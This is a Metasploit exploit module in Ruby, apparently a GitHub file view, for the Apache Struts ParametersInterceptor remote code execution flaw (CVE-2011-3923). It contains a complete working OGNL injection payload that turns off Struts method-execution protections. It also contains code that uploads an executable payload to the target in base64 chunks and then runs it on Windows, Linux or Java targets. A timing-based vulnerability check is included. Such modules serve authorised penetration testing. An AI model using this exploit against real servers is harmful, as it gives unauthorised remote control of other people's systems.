11c1eb6c78
Most exploits don't check nil for generate_payload_exe, they just assume they will always have a payload. If the method returns nil, it ends up making debugging more difficult. Instead of checking nil one by one, we just raise.
197 lines
7.5 KiB
Ruby
197 lines
7.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a remote command execution vulnerability in Apache Struts
|
|
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
|
|
for the use of parentheses which in turn allows it to interpret parameter values as
|
|
OGNL expressions during certain exception handling for mismatched data types of
|
|
properties which allows remote attackers to execute arbitrary Java code via a
|
|
crafted parameter.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Meder Kydyraliev', # Vulnerability Discovery and PoC
|
|
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
|
|
'mihi', #ARCH_JAVA support
|
|
'Christian Mehlmauer' # Metasploit Module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2011-3923'],
|
|
[ 'OSVDB', '78501'],
|
|
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
|
|
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
|
|
],
|
|
'Platform' => %w{ java linux win },
|
|
'Privileged' => true,
|
|
'Targets' =>
|
|
[
|
|
['Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
['Linux Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[ 'Java Universal',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
},
|
|
]
|
|
],
|
|
'DisclosureDate' => 'Oct 01 2011',
|
|
'DefaultTarget' => 2))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
|
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
|
|
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
|
|
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
|
|
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
|
|
], self.class)
|
|
end
|
|
|
|
def parameter
|
|
datastore['PARAMETER']
|
|
end
|
|
|
|
def temp_path
|
|
return nil unless datastore['TMP_PATH']
|
|
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
|
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
|
end
|
|
datastore['TMP_PATH']
|
|
end
|
|
|
|
def get_parameter
|
|
retval = {}
|
|
return retval unless datastore['GET_PARAMETERS']
|
|
splitted = datastore['GET_PARAMETERS'].split('&')
|
|
return retval if splitted.nil? || splitted.empty?
|
|
splitted.each { |item|
|
|
name, value = item.split('=')
|
|
# no check here, value can be nil if parameter is ¶m
|
|
decoded_name = name ? Rex::Text::uri_decode(name) : nil
|
|
decoded_value = value ? Rex::Text::uri_decode(value) : nil
|
|
retval[decoded_name] = decoded_value
|
|
}
|
|
retval
|
|
end
|
|
|
|
def execute_command(cmd)
|
|
junk = Rex::Text.rand_text_alpha(6)
|
|
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
|
|
inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
|
|
uri = normalize_uri(datastore['TARGETURI'])
|
|
resp = send_request_cgi({
|
|
'uri' => uri,
|
|
'version' => '1.1',
|
|
'method' => 'GET',
|
|
'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
|
|
})
|
|
resp
|
|
end
|
|
|
|
def exploit
|
|
#Set up generic values.
|
|
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
|
pl_exe = generate_payload_exe
|
|
|
|
append = false
|
|
#Now arch specific...
|
|
case target['Platform']
|
|
when 'linux'
|
|
path = temp_path || '/tmp/'
|
|
payload_exe = "#{path}#{payload_exe}"
|
|
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
|
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
|
|
when 'java'
|
|
payload_exe = "#{temp_path}#{payload_exe}.jar"
|
|
pl_exe = payload.encoded_jar.pack
|
|
exec_cmd = ''
|
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
|
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
|
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
|
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
|
|
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
|
|
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
|
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
|
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
|
when 'win'
|
|
path = temp_path || './'
|
|
payload_exe = "#{path}#{payload_exe}.exe"
|
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
|
|
else
|
|
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
|
end
|
|
|
|
print_status("#{peer} - Uploading exploit to #{payload_exe}")
|
|
#Now with all the arch specific stuff set, perform the upload.
|
|
#109 = length of command string plus the max length of append.
|
|
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
|
|
chunk_length = 2048 - sub_from_chunk
|
|
chunk_length = ((chunk_length/4).floor) * 3
|
|
while pl_exe.length > chunk_length
|
|
java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
|
|
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
|
|
append = true
|
|
end
|
|
java_upload_part(pl_exe, payload_exe, append)
|
|
print_status("#{peer} - Executing payload")
|
|
execute_command(chmod_cmd) if target['Platform'] == 'linux'
|
|
execute_command(exec_cmd)
|
|
register_files_for_cleanup(payload_exe)
|
|
end
|
|
|
|
def java_upload_part(part, filename, append = false)
|
|
cmd = ""
|
|
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
|
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
|
cmd << "#f.close()"
|
|
execute_command(cmd)
|
|
end
|
|
|
|
def check
|
|
sleep_time = datastore['CHECK_SLEEPTIME']
|
|
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
|
|
t1 = Time.now
|
|
vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
|
|
response = execute_command(check_cmd)
|
|
t2 = Time.now
|
|
delta = t2 - t1
|
|
|
|
if response.nil?
|
|
return Exploit::CheckCode::Safe
|
|
elsif delta < sleep_time
|
|
return Exploit::CheckCode::Safe
|
|
else
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
end
|
|
|
|
end
|